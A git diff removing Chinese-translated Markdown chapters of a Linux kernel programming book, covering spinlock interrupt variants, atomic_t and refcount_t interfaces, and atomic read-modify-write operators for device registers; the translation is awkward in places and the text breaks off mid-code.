-幸运的是,一切都很顺利——“幸运”是因为硬件中断在`read`功能的关键部分完成后触发了*。当然,我们不能指望运气作为我们产品的独家安全标志!硬件中断是异步的;如果它在一个不太合适的时间(对我们来说)启动了呢——比如说,当`read`方法的关键部分在时间 T1 和 t2 之间运行的时候?那么,spinlock 是不是要做好它的工作,保护我们的数据呢?* - -此时,中断处理程序的代码将尝试获取相同的自旋锁(`&slock`)。等一下-它无法“获取”它,因为它当前已被锁定!在这种情况下,它会“旋转”,实际上是在等待解锁。但是怎么才能解锁呢?它不能,我们有它:一个**(自我)僵局**。 - -有趣的是,自旋锁更直观,在 SMP(多核)系统上也有意义。我们假设`read`方法运行在 CPU 核心 1 上;中断可以在另一个中央处理器内核上传递,比如说内核 2。中断代码路径将在 CPU 内核 2 上的锁上“旋转”,而内核 1 上的`read`方法完成关键部分,然后解锁旋转锁,从而解锁中断处理程序。但是在 **UP** ( **单处理器**,只有一个 CPU 内核)上呢?那么它将如何工作呢?啊,这就是这个难题的解决方案:当与中断“赛跑”时,*不管是单处理器还是 SMP,只需使用 spinlock API* 的 `_irq` *变体* *:* - -```sh -#include -void spin_lock_irq(spinlock_t *lock); -``` - -`spin_lock_irq()` API 在内部禁用它运行的处理器内核上的中断;也就是本地核心。因此,通过在我们的`read`方法中使用这个应用编程接口,中断将在本地内核上被禁用,从而使任何可能的“竞争”不可能通过中断实现。(如前所述,如果中断确实在另一个中央处理器内核上触发,自旋锁技术将简单地像广告宣传的那样工作!) - -The `spin_lock_irq()` implementation is pretty nested (as with most of the spinlock functionality), yet fast; down the line, it ends up invoking the `local_irq_disable()` and `preempt_disable()` macros, disabling both interrupts and kernel preemption on the local processor core that it's running on. (Disabling hardware interrupts has the (desirable) side effect of disabling kernel preemption as well.) - -`spin_lock_irq()`与相应的`spin_unlock_irq()`原料药配对。因此,这个场景中自旋锁的正确用法(与我们之前看到的相反)如下: - -```sh -// Driver read method ; CORRECT ! driver_read(...) << time t0 >> -{ - [ ... ] - spin_lock_irq(&slock); - <<--- time t1 : start of critical section >> -*[now all interrupts + preemption on local CPU core are masked (disabled)]* -... << operating on global data object gCtx >> ... - spin_unlock_irq(&slock); - <<--- time t2 : end of critical section >> - [ ... ] -} << time t3 >> -``` - -在拍拍自己的背,休息一天之前,让我们考虑另一种情况。这一次,在一个更复杂的产品(或项目)上,很有可能在几个开发代码库的开发人员中,有人故意将中断掩码设置为某个值,从而在允许其他中断的同时阻止了一些中断。为了我们的例子,让我们假设这已经在更早的时间点`t0`发生了。现在,正如我们之前描述的,另一个开发人员(你!)出现,并且为了保护驱动程序读取方法内的关键部分,使用了`spin_lock_irq()` API。听起来没错,对吧?是的,但是这个应用编程接口有能力*关闭(屏蔽)本地中央处理器内核上的所有硬件中断*(以及内核抢占,我们现在将忽略)。它通过在较低的级别上操作(非常特殊的)硬件中断屏蔽寄存器来实现这一点。假设将对应于中断的位设置为`1`将启用该中断,而将该位清零(至`0`)将禁用或屏蔽该中断。因此,我们可能会出现以下情况: - -* 时间`t0`:中断屏蔽设置为某个值,比如`0x8e (10001110b)`,启用一些中断,禁用一些中断。这对项目很重要(这里,为了简单起见,我们假设有一个 8 位屏蔽寄存器) - *[...时间流逝...].* -* 时间`t1`:就在进入驾驶员`read`法的关键路段之前,呼叫 - `spin_lock_irq(&slock);`。该 API 将具有清除注册到`0`的中断掩码中所有位的内部效果,从而禁用所有中断(正如我们*所认为的*所希望的那样)。 - -* 时间`t2`:现在,硬件中断无法在这个 CPU 核心上触发,所以我们继续完成关键部分。完成后,我们称之为 - `spin_unlock_irq(&slock);`。该应用编程接口的内部作用是将中断屏蔽寄存器中的所有位设置为`1`,重新启用所有中断。 - -然而,中断屏蔽寄存器现在已经被错误地“恢复”到一个值`0xff (11111111b)`,*而不是最初的开发者想要的、要求的和假设的值*!这可以(也可能会)打破项目中的某些东西。 - -解决方法很简单:不要假设任何事情,**只需保存并恢复中断屏蔽**。这可以通过以下应用编程接口对来实现: - -```sh -#include - unsigned long spin_lock_irqsave(spinlock_t *lock, unsigned long flags); - void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags); -``` - -锁定和解锁函数的第一个参数是要使用的 spinlock 变量。第二个参数`flags`、*必须是`unsigned long`类型的局部变量*。这将用于保存和恢复中断屏蔽: - -```sh -spinlock_t slock; -spin_lock_init(&slock); -[ ... ] -driver_read(...) -{ - [ ... ] - spin_lock_irqsave(&slock, flags); - << ... critical section ... >> - spin_unlock_irqrestore(&slock, flags); - [ ... ] -} -``` - -To be pedantic, `spin_lock_irqsave()` is not an API, but a macro; we've shown it as an API for readability. Also, although the return value of this macro is not void, it's an internal detail (the `flags` parameter variable is updated here). - -如果一个小任务或者一个 softirq(一个下半部分的中断机制)有一个与你的进程上下文代码路径“竞争”的关键部分呢?在这种情况下,可能需要使用`spin_lock_bh()`例程,因为它可以禁用本地处理器的下半部分,然后获取自旋锁,从而保护关键部分(类似于`spin_lock_irq[save]()`通过禁用本地内核上的硬件中断来保护进程上下文中的关键部分的方式): - -```sh -void spin_lock_bh(spinlock_t *lock); -``` - -当然,*开销*在对性能高度敏感的代码路径中确实很重要(网络堆栈就是一个很好的例子)。因此,使用最简单形式的自旋锁将有助于更复杂的变体。话虽如此,但肯定会有一些场合需要使用更强形式的 spinlock API。例如,在 5.4.0 Linux 内核上,这是我们看到的不同形式的 spinlock APIs 的使用实例数量的近似值:`spin_lock()`:超过 9400 个使用实例;`spin_lock_irq()`:超过 3600 个使用实例;`spin_lock_irqsave()`:超过 15,000 个使用实例;`spin_lock_bh()`:超过 3700 个使用实例。(我们不由此得出任何重大推论;只是我们希望指出,使用更强形式的 spinlock APIs 在 Linux 内核中相当普遍)。 - -最后,让我们对 spinlock 的内部实现做一个非常简短的说明:就幕后内部而言,实现往往是非常特殊的代码,通常由在微处理器上执行非常快的原子机器语言指令组成。例如,在流行的 x86[_64]架构上,自旋锁最终归结为自旋锁结构成员上的*原子测试和设置*机器指令(通常通过`cmpxchg`机器语言指令实现)。在 ARM 机器上,正如我们前面提到的,通常是`wfe`(等待事件,以及**设置事件** ( **SEV** )机器指令处于实现的核心。(您可以在*进一步阅读*部分找到关于其内部实现的资源)。无论如何,作为内核或驱动程序作者,在使用自旋锁时,您应该只使用公开的 API(和宏)。 - -## 使用自旋锁–快速总结 - -让我们快速总结一下自旋锁: - -* **最简单,开销最低**:在保护进程上下文中的关键部分时,使用非 irq 自旋锁原语,`spin_lock()` / `spin_unlock()`(要么没有中断需要处理,要么有中断,但我们根本不与它们竞争;实际上,当中断不起作用或无关紧要时使用这个)。 -* **中等开销**:使用 IRQ-disable(以及内核抢占禁用)版本`spin_lock_irq() / spin_unlock_irq()`,当中断正在进行并且确实重要时(进程和中断上下文可以“竞争”;也就是说,它们共享全局数据)。 -* **最强(相对),高开销**:这是使用自旋锁最安全的方式。除了通过`spin_lock_irqsave()` / `spin_unlock_irqrestore()`对中断掩码执行保存和恢复之外,它与介质开销相同,以保证先前的中断掩码设置不会被无意中覆盖,这在先前的情况下是可能发生的。 - -正如我们之前看到的,自旋锁——在等待锁时在其上运行的处理器上“旋转”的意义——在 UP 上是不可能的(当另一个线程同时在同一个 CPU 上运行时,如何在一个可用的 CPU 上旋转?).事实上,在 UP 系统上,spinlock APIs 唯一真正的效果是它可以在处理器上禁用硬件中断和内核抢占!然而,在 SMP(多核)系统上,旋转逻辑实际上发挥了作用,因此锁定语义按预期工作。但是坚持住——这不应该给你压力,萌芽中的内核/驱动开发者;事实上,关键是您应该简单地使用所描述的 spinlock APIs,您将永远不必担心 UP 与 SMP 的对比;做什么和不做什么的细节都被内部实现所隐藏。 - -Though this book is based on the 5.4 LTS kernel, a new feature was added to the 5.8 kernel from the **Real-Time Linux** (**RTL**, previously called PREEMPT_RT) project, which deserves a quick mention here: "**local locks**". While the main use case for local locks is for (hard) real-time kernels, they help with non-real-time kernels too, mainly for lock debugging via static analysis, as well as runtime debugging via lockdep (we cover lockdep in the next chapter). Here's the LWN article on the subject: [https://lwn.net/Articles/828477/](https://lwn.net/Articles/828477/). - -至此,我们完成了关于自旋锁的部分,自旋锁是 Linux 内核中非常常见的密钥锁,几乎所有子系统都使用它,包括驱动程序。 - -# 摘要 - -祝贺你完成这一章! - -理解并发性及其相关问题对于任何软件专业人员来说都是至关重要的。在这一章中,您学习了关于关键部分的关键概念,在这些部分中独占执行的需要,以及原子性的含义。然后,您了解了*为什么*我们在为 Linux 操作系统编写代码时需要关注并发性。之后,我们详细研究了实际的锁定技术——互斥锁和自旋锁。你也学会了什么时候应该用什么锁。最后,学习了当硬件中断(及其可能的下半部分)发生时如何处理并发问题。 - -但是我们还没有完成!我们需要了解更多的概念和技术,这正是我们在本书下一章,也是最后一章将要做的。我建议你先浏览一下这一章的内容,以及*进一步阅读*部分的资源和提供的练习,然后再进入最后一章! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。** \ No newline at end of file diff --git a/docs/linux-kernel-prog/13.md b/docs/linux-kernel-prog/13.md deleted file mode 100644 index f0c97986..00000000 --- a/docs/linux-kernel-prog/13.md +++ /dev/null @@ -1,1316 +0,0 @@ -# 十三、内核同步——第二部分 - -本章继续上一章的讨论,主题是内核同步和处理内核中的并发性。我建议,如果你还没有,先读上一章,然后继续读这一章。 - -在这里,我们将继续学习关于内核同步和在内核空间中处理并发性的广泛主题。和以前一样,该材料面向内核和/或设备驱动程序开发人员。在本章中,我们将涵盖以下内容: - -* 使用 atomic_t 和 refcount_t 接口 -* 使用 RMW 原子算符 -* 使用读取器-写入器自旋锁 -* 缓存效应和虚假共享 -* 每 CPU 变量的无锁编程 -* 锁定内核内的调试 -* 记忆障碍-简介 - -# 使用 atomic_t 和 refcount_t 接口 - -在我们简单的演示杂项字符设备驱动程序的(`miscdrv_rdwr/miscdrv_rdwr.c` ) `open`方法(以及其他地方)中,我们定义并操作了两个静态全局整数,`ga`和`gb`: - -```sh -static int ga, gb = 1; -[...] -ga++; gb--; -``` - -到目前为止,对您来说应该很明显的是,这个——我们对这些整数进行操作的地方——如果保持原样,是一个潜在的错误:它是共享的可写数据(处于共享状态),因此*是一个关键部分,因此需要针对* *并发访问*进行保护。你懂的。所以,我们逐步改进了这一点。在前一章,了解了这个问题,在我们的`ch12/1_miscdrv_rdwr_mutexlock/1_miscdrv_rdwr_mutexlock.c`程序中,我们首先使用了一个*互斥锁*来保护临界区。后来,您了解到,使用*自旋锁*来保护像这样的非阻塞关键部分在性能上(远远)优于使用互斥锁;因此,在下一个驱动程序`ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c`中,我们使用了自旋锁来代替: - -```sh -spin_lock(&lock1); -ga++; gb--; -spin_unlock(&lock1); -``` - -很好,但是我们还可以做得更好!对全局整数进行操作在内核中非常常见(想想引用或资源计数器的递增和递减等等),以至于内核提供了一类称为 **refcount** 和**原子整数运算符**或接口的运算符;这些都是非常特别的设计,以原子(安全和不可分割的)操作**只有整数**。 - -## 较新的 refcount_t 与较旧的 atomic_t 接口相比 - -在这个主题区域的开始,重要的是要提到这一点:从 4.11 内核开始,有一组更新更好的接口被命名为`refcount_t`API,用于内核空间对象的引用计数器。它极大地改善了内核的安全态势(通过改进了很多的**整数溢出** ( **IoF** )和**免费使用后** ( **UAF** )保护以及内存排序保证,这些都是旧的`atomic_t`API 所缺乏的)。像 Linux 上使用的其他几项安全技术一样,`refcount_t`接口起源于 PaX 团队的工作——https://pax.grsecurity.net/[(它被称为`PAX_REFCOUNT`)。](https://pax.grsecurity.net/) - -话虽如此,现实情况是(在撰写本文时)旧的`atomic_t`接口仍然在内核和驱动程序中大量使用(它们正在慢慢转换,旧的`atomic_t`接口正在转移到新的`refcount_t`模型和 API 集)。因此,在本主题中,我们将两者都包括在内,指出不同之处,并在适用的情况下提及哪个`refcount_t`应用编程接口取代了`atomic_t`应用编程接口。将`refcount_t`接口视为(较旧的)`atomic_t`接口的变体,该接口专门用于引用计数。 - -`atomic_t`操作符和`refcount_t`操作符之间的一个关键区别在于,前者对有符号整数起作用,而后者本质上被设计成只对一个`unsigned int`量起作用;更具体地说,这一点很重要,它只在严格规定的范围内起作用:`1`到 **`UINT_MAX-1`** (或`[1..INT_MAX]`当`!CONFIG_REFCOUNT_FULL`)。内核有一个名为`CONFIG_REFCOUNT_FULL`的配置选项;如果设置,它将执行(更慢和更彻底的)“完全”引用计数验证。这有利于安全性,但可能会导致性能略微下降(典型的默认值是保持此配置关闭;我们的 x86_64 Ubuntu 来宾就是这种情况)。 - -试图将`refcount_t`变量设置为`0`或负值,或设置为`[U]INT_MAX`或以上,是不可能的;这有利于防止整数下溢/溢出问题,从而在许多情况下防止自由使用类错误!(嗯,也不是不可能;这会导致通过`WARN()`宏发出(嘈杂的)警告。)想一想,`refcount_t`变量的本意是*只用于内核对象引用计数,没有别的*。 - -由此可见,这确实是需要的行为;引用计数器必须从正值开始(当对象新实例化时通常为`1`),每当代码获取或接受引用时递增(或相加),每当代码在对象上放置或离开引用时递减(或相减)。您需要小心操作引用计数器(匹配您的获取和放置),始终将其值保持在合法范围内。 - -非常不直观的是,至少对于通用的独立于 arch 的 refcount 实现来说,`refcount_t`API 是通过`atomic_t` API 集在内部实现的。例如,`refcount_set()`应用编程接口——自动将 refcount 的值设置为传递的参数——在内核中是这样实现的: - -```sh -// include/linux/refcount.h -/** - * refcount_set - set a refcount's value - * @r: the refcount - * @n: value to which the refcount will be set - */ -static inline void refcount_set(refcount_t *r, unsigned int n) -{ - atomic_set(&r->refs, n); -} -``` - -这是一个薄薄的包装纸(我们将很快介绍)。这里显而易见的常见问题是:为什么要使用 refcount API?有几个原因: - -* 计数器在`REFCOUNT_SATURATED`值饱和(默认设置为`UINT_MAX`),并且一旦达到该值就不会移动。这一点至关重要:它避免了包装计数器,这可能会导致奇怪和虚假的 UAF 错误;这甚至被认为是一个关键的安全修复。 -* 一些较新的 refcount APIs 确实提供了**内存排序**保证;特别是`refcount_t`API——与它们更老的`atomic_t`表亲相比——以及它们提供的内存排序保证在[https://www . kernel . org/doc/html/latest/core-API/refcount-vs-atomic . html # refcount-t-API-与 atomic-t 相比](https://www.kernel.org/doc/html/latest/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t)中有明确的记录(如果您对低级别的细节感兴趣,请查看)。 -* 此外,实现依赖于 arch 的 refcount 实现(当它们存在时;例如,x86 确实有,而 ARM 没有)可以不同于前面提到的通用版本。 - -What exactly is *memory ordering* and how does it affect us? The fact is, it's a complex topic and, unfortunately, the inner details on this are beyond the scope of this book. It's worth knowing the basics: I suggest you read up on the **Linux-Kernel Memory Model** (**LKMM**), which includes coverage on processor memory ordering and more. We refer you to good documentation on this here: *Explanation of the Linux-Kernel Memory Model* ([https://github.com/torvalds/linux/blob/master/tools/memory-model/Documentation/explanation.txt](https://github.com/torvalds/linux/blob/master/tools/memory-model/Documentation/explanation.txt)). - -## 更简单的原子 t 和 ref count t 接口 - -关于`atomic_t`接口,我们应该提到以下所有`atomic_t`构造仅用于 32 位整数;当然,随着 64 位整数现在变得普遍,64 位原子整数运算符也是可用的。通常,它们在语义上与 32 位的对应项相同,不同之处在于名称(`atomic_foo()`变成了`atomic64_foo()`)。所以 64 位原子整数的主要数据类型叫做`atomic64_t`(又名`atomic_long_t`)。另一方面,`refcount_t`接口同时满足 32 位和 64 位整数。 - -下表显示了如何并排声明和初始化`atomic_t`和`refcount_t`变量,以便您可以比较和对比它们: - -| | **(旧)原子 _t(仅 32 位)** | **(较新)refcount _ t(32 位和 64 位)** | -| 要包含的头文件 | `` | `` | -| 声明并初始化变量 | `static atomic_t gb = ATOMIC_INIT(1);` | `static refcount_t gb = REFCOUNT_INIT(1);` | - -Table 17.1 – The older atomic_t versus the newer refcount_t interfaces for reference counting: header and init - -内核中所有可用的`atomic_t`和`refcount_t`API 的完整集合相当大;为了使本节内容简单明了,我们仅在下表中列出一些更常用的(原子 32 位)和`refcount_t`接口(它们对通用`atomic_t`或`refcount_t`变量`v`进行操作): - -| **操作** | **(旧)原子 _t 界面** | **(较新)refcount_t 接口[范围:0 至[U]INT_MAX]** | -| 要包含的头文件 | `` | `` | -| 声明并初始化变量 | `static atomic_t v = ATOMIC_INIT(1);` | `static refcount_t v = REFCOUNT_INIT(1);` | -| 自动读取`v`的当前值 | `int atomic_read(atomic_t *v)` | `unsigned int refcount_read(const refcount_t *v)` | -| 自动将`v`设置为数值`i` | `void atomic_set(atomic_t *v, i)` | `void refcount_set(refcount_t *v, int i)` | -| 自动将`v`值增加`1` - | `void atomic_inc(atomic_t *v)` | `void refcount_inc(refcount_t *v)` | -| 将`v`值自动递减`1` - | `void atomic_dec(atomic_t *v)` | `void refcount_dec(refcount_t *v)` | -| 自动将`i`的值加到`v`上 | `void atomic_add(i, atomic_t *v)` | `void refcount_add(int i, refcount_t *v)` | -| 从`v`中自动减去`i`的值 | `void atomic_sub(i, atomic_t *v)` | `void refcount_sub(int i, refcount_t *v)` | -| 自动将`i`的值加到`v`上并返回结果 | `int atomic_add_return(i, atomic_t *v)` | `bool refcount_add_not_zero(int i, refcount_t *v)`(不是精确匹配;将`i`添加到`v`除非是`0`。) | -| 从`v`中自动减去`i`的值并返回结果 | `int atomic_sub_return(i, atomic_t *v)` | `bool refcount_sub_and_test(int i, refcount_t *r)`(不是精确匹配;从`v`中减去`i`并测试;如果结果重新计数为`0`,则返回`true`,否则返回`false`。) | - -Table 17.2 – The older atomic_t versus the newer refcount_t interfaces for reference counting: APIs - -您现在已经看到了几个`atomic_t`和`refcount_t`宏和 APIs 让我们快速查看几个在内核中使用它们的例子。 - -### 在内核代码库中使用 refcount_t 的示例 - -在我们关于内核线程的一个演示内核模块中(在`ch15/kthread_simple/kthread_simple.c`中),我们创建了一个内核线程,然后使用`get_task_struct()`内联函数将内核线程的任务结构标记为正在使用。正如您现在可以猜到的那样,`get_task_struct()`例程通过`refcount_inc()` API 递增任务结构的引用计数器——一个名为`usage`的`refcount_t`变量: - -```sh -// include/linux/sched/task.h -static inline struct task_struct *get_task_struct(struct task_struct *t) -{ - refcount_inc(&t->usage); - return t; -} -``` - -相反的例程`put_task_struct()`对参考计数器执行后续递减。其内部使用的实际例程`refcount_dec_and_test()`测试新的 refcount 值是否已降至`0`;如果是,则返回`true`,如果是这种情况,则表示任务结构没有被任何人引用。`__put_task_struct()`的召唤解放了它: - -```sh -static inline void put_task_struct(struct task_struct *t) -{ - if (refcount_dec_and_test(&t->usage)) - __put_task_struct(t); -} -``` - -内核中使用的重新计数 API 的另一个例子在`kernel/user.c`中找到(它有助于跟踪用户通过每用户结构声明的进程、文件等的数量): - -![](img/c40e515d-c67b-425d-9704-76e6f4d69cc3.png) - -Figure 13.1 – Screenshot showing the usage of the refcount_t interfaces in kernel/user.c Look up the `refcount_t` API interface documentation ([https://www.kernel.org/doc/html/latest/driver-api/basics.html#reference-counting](https://www.kernel.org/doc/html/latest/driver-api/basics.html#reference-counting)); `refcount_dec_and_lock_irqsave()` returns `true` and withholds the spinlock with interrupts disabled if able to decrement the reference counter to `0`, and `false` otherwise. - -作为对您的练习,将我们早期的`ch16/2_miscdrv_rdwr_spinlock/miscdrv_rdwr_spinlock.c`驱动程序代码转换为使用 refcount 它具有整数`ga`和`gb`,当被读取或写入时,它们通过自旋锁受到保护。现在,让它们重新计数变量,并在处理它们时使用适当的`refcount_t`API。 - -小心点!不允许他们的值超出允许范围,`[0..[U]INT_MAX]`!(回想一下,完全重新计数验证的范围是`[1..UINT_MAX-1]`(`CONFIG_REFCOUNT_FULL`开启)和不完全验证时的`[1..INT_MAX]`(默认))。这样做通常会导致调用`WARN()`宏(图 13.1*中的演示代码不包含在我们的 GitHub 存储库中):* - -![](img/3dd1522c-3103-4e8e-b220-a82ee093f866.png) - -Figure 13.2 – (Partial) screenshot showing the WARN() macro firing when we wrongly attempt to set a refcount_t variable to <= 0 The kernel has an interesting and useful test infrastructure called the **Linux Kernel Dump Test Module** (**LKDTM**); see `drivers/misc/lkdtm/refcount.c` for many test cases being run on the refcount interfaces, which you can learn from... FYI, you can also use LKDTM via the kernel's fault injection framework to test and evaluate the kernel's reaction to faulty scenarios (see the documentation here: *Provoking crashes with Linux Kernel Dump Test Module (LKDTM)* – [https://www.kernel.org/doc/html/latest/fault-injection/provoke-crashes.html#provoking-crashes-with-linux-kernel-dump-test-module-lkdtm](https://www.kernel.org/doc/html/latest/fault-injection/provoke-crashes.html#provoking-crashes-with-linux-kernel-dump-test-module-lkdtm)). - -到目前为止涵盖的原子接口都是在 32 位整数上运行的;在 64 位上呢?接下来就是这样。 - -## 64 位原子整数运算符 - -如本主题开头所述,我们到目前为止所处理的`atomic_t`整数运算符集合都是在传统的 32 位整数上运行的(这个讨论不适用于较新的`refcount_t`接口;无论如何,它们对 32 位和 64 位的量都起作用)。显然,随着 64 位系统成为现在的常态而不是例外,内核社区为 64 位整数提供了一组相同的原子整数运算符。区别如下: - -* 将 64 位原子整数声明为类型为`atomic64_t`(即`atomic_long_t`)的变量。 -* 对于所有操作员,使用`atomic64_`前缀代替`atomic_`前缀。 - -举以下例子: - -* 用`ATOMIC64_INIT()`代替`ATOMIC_INIT()`。 -* 用`atomic64_read()`代替`atomic_read()`。 -* 用`atomic64_dec_if_positive()`代替`atomic64_dec_if_positive()`。 - -Recent C and C++ language standards – C11 and C++11 – provide an atomic operations library that helps developers implement atomicity in an easier fashion due to the implicit language support; we won't delve into this aspect here. A reference can be found here (C11 also has pretty much the same equivalents): [https://en.cppreference.com/w/c/atomic](https://en.cppreference.com/w/c/atomic). - -请注意,所有这些例程——32 位和 64 位原子`_operators`——都是**独立的**。值得重复的一个要点是,对原子整数执行的任何和所有操作都必须通过将变量声明为`atomic_t`并通过提供的方法来完成。这包括初始化,甚至是(整数)读取操作。 - -就内部实现而言,`foo()`原子整数运算符通常是一个宏,它会变成一个内联函数,而内联函数又会调用特定于 arch 的`arch_foo()`函数。像往常一样,浏览关于原子操作符的官方内核文档总是一个好主意(在内核源代码树中,它在这里:`Documentation/atomic_t.txt`;前往[https://www.kernel.org/doc/Documentation/atomic_t.txt](https://www.kernel.org/doc/Documentation/atomic_t.txt)。它将众多的原子整数 API 巧妙地归类到不同的集合中。仅供参考,arch 特有的*内存排序问题*确实会影响内部实现。在这里,我们将不深究其内部。如果感兴趣,请参考[官方内核文档网站上的本页,网址为 https://www . kernel . org/doc/html/v 4 . 16/core-API/ref count-vs-atomic . html # ref count-t-API-对比 atomic-t](https://www.kernel.org/doc/html/v4.16/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t) (另外,内存排序的细节超出了本书的范围;查看[的内核文档。](https://www.kernel.org/doc/Documentation/memory-barriers.txt) - -我们还没有尝试在这里展示所有的原子和 refcount APIs(这真的没有必要);官方内核文档介绍了它: - -* `atomic_t`界面: - * S *原子和位掩码操作的语义和行为*([https://www . kernel . org/doc/html/v 5 . 4/core-API/Atomic _ ops . html #原子和位掩码操作的语义和行为](https://www.kernel.org/doc/html/v5.4/core-api/atomic_ops.html#semantics-and-behavior-of-atomic-and-bitmask-operations)) - * API ref:Atomics([https://www . kernel . org/doc/html/latest/driver-API/basic . html # Atomics](https://www.kernel.org/doc/html/latest/driver-api/basics.html#atomics)) - -* (较新)`refcount_t`内核对象引用计数接口: - * `refcount_t` API 对比`atomic_t`([https://www . kernel . org/doc/html/latest/core-API/refcount-vs-atomic . html # refcount-t-API-对比 atomic-t](https://www.kernel.org/doc/html/latest/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t) ) - * API 引用:引用计数([https://www . kernel . org/doc/html/latest/driver-API/basic . html #引用-计数](https://www.kernel.org/doc/html/latest/driver-api/basics.html#reference-counting)) - -让我们继续讨论在处理驱动程序时典型构造的用法–**读取修改写入** ( **RMW** )。继续读! - -# 使用 RMW 原子算符 - -还有一组更高级的原子操作符叫做 RMW API。它的许多用途(我们将在下一节中列出)包括对位执行原子 RMW 操作,换句话说,原子地(安全地、不可分割地)执行位操作。作为在设备或外设上操作的设备驱动程序作者*注册*,这确实是你会发现自己正在使用的东西。 - -The material in this section assumes you have at least a base understanding of accessing peripheral device (chip) memory and registers; we have covered this in detail in [Chapter 13](13.html), *Working with Hardware I/O Memory*. Please ensure you understand it before moving further. - -通常,您需要对寄存器执行位操作(按位`AND &`和按位`OR |`是最常见的运算符);这样做是为了修改其值,设置和/或清除其中的一些位。问题是,仅仅执行一些 C 操作来查询或设置设备寄存器是不够的。不,先生:不要忘记并发问题!请继续阅读完整的故事。 - -## RMW 原子操作–在设备寄存器上操作 - -让我们先快速复习一些基础知识:一个字节由 8 位组成,从位`0`、**最低有效位** ( **LSB** )到位`7`、**最高有效位** ( **MSB** )进行编号。(这实际上被正式定义为`include/linux/bits.h`中的`BITS_PER_BYTE`宏,还有一些其他有趣的定义。) - -一个**寄存器**基本上是外围设备内的一小块内存;通常,其大小(寄存器位宽)为 8、16 或 32 位之一。器件寄存器提供控制、状态和其他信息,通常是可编程的。事实上,这很大程度上是您作为驱动程序作者将要做的事情——对设备寄存器进行适当的编程,让设备做一些事情,并对其进行查询。 - -为了充实这一讨论,让我们考虑一个假设的器件,它有两个寄存器:一个状态寄存器和一个控制寄存器,每个 8 位宽。(在现实世界中,每个设备或芯片都有一个*数据表*,它将提供芯片和寄存器级硬件的详细规格;这成为驱动程序作者的必要文档)。硬件人员通常以这样一种方式设计设备,即几个寄存器按顺序组合在一块更大的内存中;这叫做注册银行业务。通过获得第一个寄存器的基址和后面每个寄存器的偏移量,可以很容易地寻址任何给定的寄存器(这里,我们不会深入研究寄存器是如何“映射”到 Linux 等操作系统上的虚拟地址空间的)。例如,(纯粹假设的)寄存器可以在头文件中这样描述: - -```sh -#define REG_BASE 0x5a00 -#define STATUS_REG (REG_BASE+0x0) -#define CTRL_REG (REG_BASE+0x1) -``` - -现在,假设为了打开我们虚构的设备,数据表通知我们可以通过将控制寄存器的位`7`(MSB)设置为`1`来实现。每个驱动程序作者都会很快了解到,修改寄存器有一个神圣的顺序: - -1. **将**寄存器的当前值读入临时变量。 -2. **将**变量修改为所需值。 -3. **将**变量写回寄存器。 - -这就是常说的**RMW**T2 序列;太好了,我们这样写(伪)代码: - -```sh -turn_on_dev() -{ - u8 tmp; - - tmp = ioread8(CTRL_REG); /* read: current register value into tmp */ - tmp |= 0x80; /* modify: set bit 7 (MSB) */ - iowrite8(tmp, CTRL_REG); /* write: new tmp value into register */ -} -``` - -(仅供参考,Linux**MMIO**–**内存映射 I/O**–上使用的实际例程是`ioread[8|16|32]()`和`iowrite[8|16|32]()`。) - -这里有一个重点:*这还不够好*;原因是**并发,数据赛跑!**想一想:一个寄存器(包括 CPU 和设备寄存器)其实就是一个*全局共享可写内存位置*;因此,访问它*构成了一个关键部分*,你必须小心防止并发访问!该有多容易;我们可以使用自旋锁(至少目前是这样)。修改前面的伪代码以在关键部分——RMW 序列中插入`spin_[un]lock()`API 是微不足道的。 - -然而,在处理整数等小数量时,有一种更好的方法来实现数据安全;我们已经介绍过了:*原子操作符*!然而,Linux 更进一步,为以下两者提供了一组原子 API: - -* **原子非 RMW 操作**(我们之前在*中看到的使用原子 _t 和 refcount_t 接口*的操作) -* **原子 RMW 作战**;这些操作符包括几种类型的操作符,可以分为几个不同的类别:算术、按位、交换(交换)、引用计数、杂项和障碍 - -我们不要重新发明轮子;内核文档([https://www.kernel.org/doc/Documentation/atomic_t.txt](https://www.kernel.org/doc/Documentation/atomic_t.txt))包含了所有需要的信息。我们将直接引用`Documentation/atomic_t.txt`内核代码库,只显示本文的相关部分如下: - -```sh -// Documentation/atomic_t.txt -[ ... ] -Non-RMW ops: - atomic_read(), atomic_set() - atomic_read_acquire(), atomic_set_release() - -RMW atomic operations: - -Arithmetic: - atomic_{add,sub,inc,dec}() - atomic_{add,sub,inc,dec}_return{,_relaxed,_acquire,_release}() - atomic_fetch_{add,sub,inc,dec}{,_relaxed,_acquire,_release}() - -Bitwise: - atomic_{and,or,xor,andnot}() - atomic_fetch_{and,or,xor,andnot}{,_relaxed,_acquire,_release}() - -Swap: - atomic_xchg{,_relaxed,_acquire,_release}() - atomic_cmpxchg{,_relaxed,_acquire,_release}() - atomic_try_cmpxchg{,_relaxed,_acquire,_release}() - -Reference count (but please see refcount_t): - atomic_add_unless(), atomic_inc_not_zero() - atomic_sub_and_test(), atomic_dec_and_test() - -Misc: - atomic_inc_and_test(), atomic_add_negative() - atomic_dec_unless_positive(), atomic_inc_unless_negative() -[ ... ] -``` - -好;现在,您已经了解了这些 RMW(和非 RMW)运算符,让我们开始实际操作——接下来,我们将了解如何使用 RMW 运算符进行位操作。 - -### 使用 RMW 逐位运算符 - -这里,我们将重点关注使用 RMW 按位运算符;我们将让您来探索其他的(参考提到的内核文档)。因此,让我们再次思考如何更有效地编码我们的伪代码示例。我们可以使用`set_bit()`应用编程接口设置(至`1`)任何寄存器或存储器项目中的任何给定位: - -```sh -void set_bit(unsigned int nr, volatile 